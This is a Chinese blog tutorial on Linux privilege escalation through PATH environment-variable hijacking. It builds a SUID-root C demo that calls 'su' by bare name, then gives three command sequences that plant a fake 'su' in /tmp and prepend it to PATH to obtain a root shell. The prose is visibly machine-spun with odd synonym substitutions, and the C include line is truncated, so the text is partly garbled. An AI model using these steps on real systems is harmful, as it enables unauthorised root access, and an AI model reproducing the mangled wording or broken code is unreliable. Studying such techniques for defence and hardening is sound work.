本文正在参与「金石计划 . 瓜分6万现金大奖」

前言

上一篇文章给我们介绍了linux中的内核提权的一些常识点不知道我们学的怎么样了,今日给我们带来一个全新的提权办法——”环境变量提权”,本文会介绍关于环境变量提权的根本常识以及使用办法。

环境变量提权

PATH是Linux体系中的环境变量,指定存储可履行程序的一切bin和sbin目录,经过PATH变量来响应用户履行的指令,并向shell发送请求以搜索可履行文件。有时环境变量会存在 ‘.’, 这是由于程序环境变量并不是完好的路径,这就是咱们能够使用的点。

基础常识

先简略说一下环境变量提权的根本流程:

调用文件(c言语)-编译-仿制文件-添加环境变量-履行触发

环境变量

在 Linux 体系中,环境变量是用来界说体系运行环境的一些参数,比方每个用户不同的home目录,下面罗列一些重要的环境变量:

LINUX提权之环境变量提权篇

对于环境变量的常识值得注意的是Linux的指令一般都存放在/bin、/sbin目录下,咱们经过指令检查当时用户相关的环境变量。

echo $PATH

LINUX提权之环境变量提权篇

上面echo的路径都是一些能够找到可履行程序的目录列表。当咱们输入一个指令时,shell会先检查指令是否是体系内部指令,假如不是则会再去检查此指令是否是一个应用程序,shell会试着从PATH中寻找这些应用程序。

咱们写一段demo来测验一下:

#include
void main() {
setuid(0);
setgid(0);
system("su - xino");
}

setuid 规则了其运行用户,意思是经过root权限切换到xino用户,咱们需要编译一下并赋予suid权限:

gcc demo.c -o shell
chmod u+s shell

在赋予权限后咱们检查该文件权限,发现是SUID权限,对于SUID之前已经讲过了,有兴趣的小伙伴能够去之前的文章了解,简略来说咱们能够以root权限运行文件。咱们查询suid文件:

find / -perm -u=s -type f 2>/dev/null

发现了咱们结构的shell文件,于是咱们测验履行一下,履行后发现当时用户切换了:

ls
./shell

了解到这里之后,咱们思考一下,咱们找到了具有SUID权限的文件,用户的环境变量能够自界说,那咱们让另一个位置的环境装备在当时环境之前,就能够进行环境变量的绑架了。

下面就简略简述一下环境变量提权的办法:

提权办法

当咱们进入了受害者机器,并且查到了具有SUID权限的咱们所编译的文件,那么能够测验以下办法来获取管理员权限,原理根本差不多,都是经过修改环境变量路径来进行提权。

echo指令法

echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
cd /srv
./shell

cp法

cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell

软链接法

ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell

剖析

LINUX提权之环境变量提权篇

上面的办法为什么能进行提权呢,咱们简略剖析一下:

cp /bin/sh /tmp/su

上面代码的意思就是将sh仿制到/tmp目录下的su文件接着剖析:

export PATH=/tmp:$PATH

进入/tmp目录履行su( ./su(履行/bin/sh) ) ,由于环境变量加入了/tmp下。之后咱们履行

./shell

就是root权限运行了,也就说明咱们提权成功了。

结语

今日给我们带来了环境变量提权比较简略的办法不知道我们听理解了没有,环境变量提权中比较重要的就是结合suid权限来打开,本文仅仅简略罗列了其间的几个办法,由于自己也很少用这种办法,可能理解的不是很到位望大佬们指点,假如喜欢本文不妨一键三连支持一下。